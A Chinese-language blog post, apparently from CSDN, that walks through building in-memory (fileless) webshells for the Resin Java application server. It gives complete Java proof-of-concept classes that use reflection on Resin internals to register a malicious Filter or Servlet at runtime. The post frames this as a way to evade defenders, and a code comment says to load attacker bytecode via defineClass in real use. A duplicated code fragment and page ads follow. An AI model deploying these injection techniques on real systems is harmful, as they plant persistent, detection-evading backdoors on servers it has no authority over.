Resin内存马逆袭之路

前言

故事还是要从很久很久以前说起,红蓝对抗越来越激烈,常见的免杀Webshell文件已经逃脱不了蓝队大佬的火眼金睛了,函数混淆的花里胡哨最后还是能被轻松分析,所以早在很多年前,就已经进入了内存马的时代,内存马是一种新的无文件的Webshell类型。市面常见的内存马都是针对Tomcat、Spring的,直到有一天我遇到了某微,落地的Webshell文件被乱揍,于是开启了Resin内存马学习之路。

关于Resin

首先了解一下Resin是个啥,Resin是CAUCHO公司的产品,是一个Application
Server,支持Servlet和JSP的引擎,速度非常快,并且可以和Apache、IIS等其他WEB服务器一起工作,也支持负载均衡,所以许多站点都是使用该WEB服务器构建的。

调试环境搭建

IDEA:2022.2

Resin:4.0.58

JDK:JDK8u261

工欲善其事必先利其器,先本地搭建环境调试一下,搭建环境发现官方的下载地址各种被Ban,不明所以,不过最后还是搞到了包。

IDEA直接创建Resin,如果没有的,去IDEA装一个Resin的插件就好了,Configuration选择我们下载好的Resin环境包。

image.png

后面生成一个war包就好了。

image.png

导入resin/lib,方便我们后面调试。

image.png

修改resin/conf/resin.xml文件中的<web-app id="/" root- directory="绝对路径"/>,修改一下默认解析目录。

IDEA启动。

image.png

分析过程

常见的动态注册内存马有Listen、Filter、Servlet几种方式,不管是哪种内存马都需要先获取上下文对象,上下文对象需要通过request获取,一般request会存储在当前线程对象中。

Filter

Tomcat等一般都可以通过javax.servlet.ServletRequest.getServletContext()方法直接获取,但是Resin行不通,那就先看在Resin的堆栈翻一下。

doFilter:19, Main (com.test)
doFilter:89, FilterFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:304, ServletInvocation (com.caucho.server.dispatch)
handleRequest:840, HttpRequest (com.caucho.server.http)
dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)
handleRequest:1323, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)
handleRequests:1215, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)

找到service:304, ServletInvocation (com.caucho.server.dispatch)

image.png

com.caucho.server.dispatch.ServletInvocation#getContextRequest()可以获得一个ServletRequest对象。image.png

通过反射获取一下ServletRequest对象。

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);

下面就需要找哪里可以动态注册恶意Filter了,再看一下堆栈信息,这里有WebApp属性包含了_filterManager_filterMapper

image.png

image.png

WebAPP的类继承关系,WebApp最终还是继承自ServletContext我们可以强转子类,将ServletContext强转成WebApp

image.png

image.png

获取WebApp对象。

WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);

看一下_filterManager包含_filters以Map形式存储FilterConfigImpl对象,_urlPatterns存储了,Filter名和Filter对应的URL。

image.png

URLPattern对象可以通过FilterMapping#createUrlPattern()获取。

image.png

FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
            urlPattern.addText(url);

_filterMap以List的形式存储FilterMapping对象,FilterMapping存储着URL和filter的对应关系。

image.png

//获取_filtermanager
            Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
            filtermanager_field.setAccessible(true);
            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
            //获取_filters
            Field filters_field = filterManager.getClass().getDeclaredField("_filters");
            filters_field.setAccessible(true);
            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);

image.png

POC
public class TestFilter extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) {
        String filtername = "FilterShell";
        String url = "/filter";
        Class clzz;
        try {
            //获取request对象
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
            //获取webapp
            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
//            //获取_filtermanager
//            Field filtermanager_field = webApp.getClass().getDeclaredField("_filterManager");
//            filtermanager_field.setAccessible(true);
//            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
//            //获取_filters
//            Field filters_field = filterManager.getClass().getDeclaredField("_filters");
//            filters_field.setAccessible(true);
//            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
            clzz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");       //方便调试,实战换成defineClass加载字节码
            FilterMapping filterMapping = new FilterMapping();
            filterMapping.setFilterClass(clzz.getName());
            filterMapping.setFilterName(filtername);
            FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
            urlPattern.addText(url);
            webApp.addFilterMapping(filterMapping);
            res.getWriter().write("Resin Filter Inject Success!!");
        } catch (Exception ignored) {
        }
    }
}

Servlet

获取request对象过程复用上面Filter的。

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);

自实现一个Servlet,看一下调用栈中的几个关键属性_serlvetName_servletClassName_servletClass_urlPatterns

doGet:20, TestServlet (com.test)
service:120, HttpServlet (javax.servlet.http)
service:97, HttpServlet (javax.servlet.http)
doFilter:109, ServletFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:304, ServletInvocation (com.caucho.server.dispatch)
handleRequest:840, HttpRequest (com.caucho.server.http)
dispatchRequest:1367, TcpSocketLink (com.caucho.network.listen)
handleRequest:1323, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1307, TcpSocketLink (com.caucho.network.listen)
handleRequests:1215, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1011, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)

image.png

image.png

还是先获取WebApp

WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);

ServletMapping存储着URL和Servlet的对应关系。

image.png

动态添加思路类似Filter。

ServletMapping servletMapping = new ServletMapping();
            servletMapping.addURLPattern(url);
            servletMapping.setServletName(servletname);
            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
            servletMapping.setServletClass(clazz.getName());
            webApp.addServletMapping(servletMapping);

image.png

POC

public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        String servletname = "ServletShell";
        String url = "/servlet";
        Class clazz;
        try {
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
            WebApp webApp = (WebApp) request.getClass().getMethod("getWebApp").invoke(request);
            ServletMapping servletMapping = new ServletMapping();
            servletMapping.addURLPattern(url);
            servletMapping.setServletName(servletname);
            clazz = Thread.currentThread().getContextClassLoader().loadClass("com.test.Evil");
            servletMapping.setServletClass(clazz.getName());
            webApp.addServletMapping(servletMapping);
            res.getWriter().write("Resin Servlet Inject Success!!");
        } catch (Exception ignored) {
        }
    }
}


ping.setServletClass(clazz.getName());
webApp.addServletMapping(servletMapping);
res.getWriter().write(“Resin Servlet Inject Success!!”);
} catch (Exception ignored) {
}
}
}

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值